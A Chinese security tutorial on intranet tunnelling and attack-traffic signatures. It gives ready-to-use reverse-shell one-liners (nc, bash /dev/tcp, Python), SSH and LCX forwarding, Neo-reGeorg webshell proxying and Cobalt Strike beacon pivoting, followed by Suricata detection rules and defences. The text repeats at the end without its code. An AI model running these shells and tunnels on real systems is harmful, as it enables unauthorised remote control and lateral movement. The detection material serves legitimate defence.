内网隧道的搭建以及攻击流量特征概述
字数 1476 2025-08-29 08:29:42

内网隧道搭建与攻击流量特征分析

一、隧道技术概述

1. 隧道分类

按流量层分类:

  • 应用层隧道:DNS、HTTP、SSH
  • 传输层隧道:TCP隧道、UDP隧道
  • 网络层隧道:ICMP隧道、IPv6隧道

按作用分类:

  • 反弹SHELL:nc、python、bash
  • 端口转发:LCX、SSH、iptables、telnet
  • 端口映射:LCX、NPS、FRP
  • 正向代理:EW、NSP、FRP
  • 反向代理:EW、NSP、FRP

2. 端口转发与端口映射区别

  • 端口转发:将一个端口收到的流量转发到另一个端口(SSH隧道常用)
  • 端口映射:将公网地址转成私有地址(NAT的一种)

3. HTTP代理与SOCKS代理区别

  • HTTP代理:使用HTTP协议,工作在应用层,主要用于代理浏览器访问网页
  • SOCKS代理:使用SOCKS协议,工作在会话层,支持TCP/UDP传输(SOCKS5)

二、常见隧道技术实现

1. LCX端口转发

反向代理模式:

攻击机:lcx -listen <监听端口> <等待连接端口>
靶机:lcx -slave <攻击机IP> <监听端口> <目标IP> <目标端口>

端口映射模式:

lcx -tran <等待连接端口> <目标IP> <目标端口>

2. SSH端口转发

正向代理:

ssh -CfNg -L 本地端口:主机B_IP:主机B_端口 跳板主机A_IP

反向代理:

ssh -CfNg -R 攻击者端口:目标主机IP:目标主机端口 -fN 攻击者_IP

3. 反弹Shell技术

Netcat反弹:

  • 正向Shell:
    靶机:nc -lvvp 1111 -e /bin/bash (Linux) 或 nc -lvvp 1111 -e cmd.exe (Windows)
    攻击机:nc 靶机IP 1111
    
  • 反向Shell:
    攻击机:nc -lvvp 1111
    靶机:nc -e /bin/bash 攻击机IP 1111 (Linux) 或 nc -e cmd.exe 攻击机IP 1111 (Windows)
    

Bash反弹:

bash -i >&/dev/tcp/攻击机IP/攻击机端口 0>&1

Python反弹:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("攻击机IP",攻击机端口))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

4. ICMP隧道

使用工具如pingtunnel,利用ICMP协议的数据字段传输数据,绕过防火墙限制。

5. DNS隧道

利用DNS查询和响应传输数据,通常使用TXT记录类型隐藏通信内容。

三、内网代理技术

1. 正向代理隧道(不出网情况)

使用工具如Neo-reGeorg:

  1. 生成webshell代理脚本:
    python3 neoreg.py generate -k password
    
  2. 上传脚本到目标服务器
  3. 连接代理:
    python3 neoreg.py -k password -u http://目标服务器/脚本路径
    

2. 多层代理技术

SMB Beacon上线(Cobalt Strike):

  1. 控制边界主机
  2. 创建SMB监听器
  3. 生成SMB类型木马
  4. 上传到内网机器执行
  5. 使用link命令连接

TCP Beacon:

类似SMB Beacon但使用TCP socket通信,适合内网穿透。

HTTP代理上线:

  1. 控制边界机器搭建HTTP隧道
  2. 使用工具如Goproxy开启HTTP代理
  3. 配置CS监听器使用该代理

四、攻击流量特征分析

1. MSF(Metasploit)流量特征

Shell模式:

  • 命令执行和返回结果均为明文
  • 可通过敏感命令识别攻击流量

Meterpreter模式:

  • TCP协议:加密流量,但存在固定模式特征
  • HTTP/HTTPS协议:
    • User-Agent固定为"Mozilla/5.0"
    • HTTPS的JA3指纹固定为特定值

Suricata检测规则示例:

alert http any any -> any any (msg:"MSF HTTP Meterpreter"; flow:established,to_server; http.method; content:"POST"; http.user_agent; content:"Mozilla/5.0"; sid:1000001; rev:1;)

2. Cobalt Strike流量特征

HTTP协议:

  • URL路径通过checksum8算法结果等于92或93
  • 固定的POST请求模板
  • 心跳包有特定解密特征

HTTPS协议:

  • 固定的JA3指纹:
    • Client Hello: 652358a663590cfc624787f06b82d9ae 或 4d93395b1c1b9ad28122fb4d09f28c5e
    • Server Hello: 15af977ce25de452b96affa2addb1036 或 2253c82f03b621c5144709b393fde2c9

Suricata检测规则示例:

alert http any any -> any any (msg:"Cobalt Strike Beacon"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/submit.php"; sid:1000002; rev:1;)

五、防御建议

  1. 监控异常端口转发行为
  2. 检测异常的ICMP/DNS流量
  3. 部署IDS/IPS系统并配置上述特征规则
  4. 限制SSH端口转发功能
  5. 监控网络中的异常JA3指纹
  6. 定期审计网络中的代理服务

通过理解这些隧道技术和流量特征,安全团队可以更好地检测和防御内网渗透攻击。

内网隧道搭建与攻击流量特征分析 一、隧道技术概述 1. 隧道分类 按流量层分类: 应用层隧道 :DNS、HTTP、SSH 传输层隧道 :TCP隧道、UDP隧道 网络层隧道 :ICMP隧道、IPv6隧道 按作用分类: 反弹SHELL :nc、python、bash 端口转发 :LCX、SSH、iptables、telnet 端口映射 :LCX、NPS、FRP 正向代理 :EW、NSP、FRP 反向代理 :EW、NSP、FRP 2. 端口转发与端口映射区别 端口转发 :将一个端口收到的流量转发到另一个端口(SSH隧道常用) 端口映射 :将公网地址转成私有地址(NAT的一种) 3. HTTP代理与SOCKS代理区别 HTTP代理 :使用HTTP协议,工作在应用层,主要用于代理浏览器访问网页 SOCKS代理 :使用SOCKS协议,工作在会话层,支持TCP/UDP传输(SOCKS5) 二、常见隧道技术实现 1. LCX端口转发 反向代理模式: 端口映射模式: 2. SSH端口转发 正向代理: 反向代理: 3. 反弹Shell技术 Netcat反弹: 正向Shell: 反向Shell: Bash反弹: Python反弹: 4. ICMP隧道 使用工具如 pingtunnel ,利用ICMP协议的数据字段传输数据,绕过防火墙限制。 5. DNS隧道 利用DNS查询和响应传输数据,通常使用TXT记录类型隐藏通信内容。 三、内网代理技术 1. 正向代理隧道(不出网情况) 使用工具如Neo-reGeorg: 生成webshell代理脚本: 上传脚本到目标服务器 连接代理: 2. 多层代理技术 SMB Beacon上线(Cobalt Strike): 控制边界主机 创建SMB监听器 生成SMB类型木马 上传到内网机器执行 使用 link 命令连接 TCP Beacon: 类似SMB Beacon但使用TCP socket通信,适合内网穿透。 HTTP代理上线: 控制边界机器搭建HTTP隧道 使用工具如Goproxy开启HTTP代理 配置CS监听器使用该代理 四、攻击流量特征分析 1. MSF(Metasploit)流量特征 Shell模式: 命令执行和返回结果均为明文 可通过敏感命令识别攻击流量 Meterpreter模式: TCP协议:加密流量,但存在固定模式特征 HTTP/HTTPS协议: User-Agent固定为"Mozilla/5.0" HTTPS的JA3指纹固定为特定值 Suricata检测规则示例: 2. Cobalt Strike流量特征 HTTP协议: URL路径通过checksum8算法结果等于92或93 固定的POST请求模板 心跳包有特定解密特征 HTTPS协议: 固定的JA3指纹: Client Hello: 652358a663590cfc624787f06b82d9ae 或 4d93395b1c1b9ad28122fb4d09f28c5e Server Hello: 15af977ce25de452b96affa2addb1036 或 2253c82f03b621c5144709b393fde2c9 Suricata检测规则示例: 五、防御建议 监控异常端口转发行为 检测异常的ICMP/DNS流量 部署IDS/IPS系统并配置上述特征规则 限制SSH端口转发功能 监控网络中的异常JA3指纹 定期审计网络中的代理服务 通过理解这些隧道技术和流量特征,安全团队可以更好地检测和防御内网渗透攻击。